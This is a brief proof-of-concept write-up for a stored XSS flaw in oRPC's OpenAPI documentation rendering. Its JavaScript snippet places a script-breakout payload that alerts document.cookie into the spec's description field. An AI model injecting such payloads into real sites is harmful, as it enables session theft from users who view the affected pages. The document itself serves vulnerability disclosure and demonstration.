CVE-2026-33331 oRPC存储型XSS漏洞

// PoC Concept: Injecting malicious payload into OpenAPI spec field // Target Field: info.description (or similar controllable fields) // Malicious payload designed to break out of JSON context and execute JS const payload = '</script><script>alert(document.cookie)</script><script>'; // Example vulnerable OpenAPI specification structure const openApiSpec = { "openapi": "3.0.0", "info": { "title": "Vulnerable oRPC API", "description": payload // Injection point }, "paths": {} }; // When the documentation generator renders the above spec without sanitization, // the browser executes the alert() function when the documentation page is loaded.